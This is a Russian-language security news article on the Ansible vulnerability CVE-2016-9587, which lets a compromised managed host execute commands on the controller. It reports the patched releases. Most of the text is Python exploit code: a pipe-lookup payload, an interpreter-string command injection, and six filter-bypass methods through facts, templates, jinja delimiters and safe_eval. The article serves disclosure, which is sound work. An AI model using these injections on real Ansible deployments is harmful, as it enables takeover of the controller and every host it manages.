Серьёзная уязвимость в системе управления конфигурацией Ansible


В системе управления конфигурацией Ansible выявлена уязвимость (CVE-2016-9587), позволяющая организовать выполнение команд на стороне управляющего сервера Ansible (Controller) через манипуляции на подчинённых хостах. Например, в случае компрометации одного из клиентских серверов, конфигурация которого настраивается через Ansible, атакующие могут получить доступ к управляющему серверу и через него ко всем остальным управляемым через Ansible хостам сети. Проблема проявляется во всех выпусках Ansible и устранена в предварительных выпусках 2.1.4 и 2.2.1, которые пока имеют статус кандидатов в релизы. Исправление также доступно в виде патча.

Уязвимость связана с возможностью указания в числе возвращаемых клиентом атрибутов (Facts) операции lookup, позволяющей организовать выполнение кода, а также специальных атрибутов ansible_python_interpreter и ansible_connection, через которых можно передать код на языке Python и ссылку на хост для его выполнения. Атрибуты возвращаются клиентом в ответ на запрос от сервера и оформляются в формате JSON. Ansible пытается фильтровать опасные атрибуты, но исследователи нашли как минимум шесть способов для обхода имеющихся фильтров:


PAYLOAD = "touch /tmp/foobarbaz"
LOOKUP = "lookup('pipe', '%s')" % PAYLOAD
INTERPRETER_FACTS = {
'ansible_python_interpreter': '%s; cat > /dev/null; echo {}' % PAYLOAD,
'ansible_connection': 'local',
'ansible_become': False,
}
Метод 1, подстановка атрибутов через передачу информации о новом хосте:

data['add_host'] = {
'host_name': socket.gethostname(),
'host_vars': INTERPRETER_FACTS,
}
Метод 2, через применение условных операторов:

known_conditionals_str = """
ansible_os_family == 'Debian'
ansible_os_family == "Debian"
ansible_os_family == 'RedHat'
ansible_os_family == "RedHat"
ansible_distribution == "CentOS"
result|failed
item > 5
foo is defined
"""
known_conditionals = [x.strip() for x in known_conditionals_str.split('\n')]
for known_conditional in known_conditionals:
data['ansible_facts'][known_conditional] = LOOKUP
Метод 3, через подстановку в шаблоне для модуля stat:

data.update({
'stat': {
'exists': True,
'isdir': False,
'checksum': {
'rc': 0,
'ansible_facts': INTERPRETER_FACTS,
},
}
})
Метод 4, через подстановку шаблона с обходом экранирования при помощи синтаксиса jinja:

data['ansible_facts'].update({
'exploit_set_fact': True,
'ansible_os_family': "#jinja2:variable_start_string:'[[',variable_end_string:']]',block_start_string:'[%',block_end_string:'%]'\n{{}}\n[[ansible_host]][[lookup('pipe','"+PAYLOAD+"')]]",
})
Метод 5, через подстановку шаблона в словарных ключах:

data['ansible_facts'].update({
'exploit_set_fact': True,
'ansible_os_family': { "{{ %s }}" % LOOKUP: ''},
})

Метод 6, через подстановку шаблона с выполнением при помощи safe_eval:

data['ansible_facts'].update({
'exploit_set_fact': True,
'ansible_os_family': """[ '{'*2 + "%s" + '}'*2 ]""" % LOOKUP,
})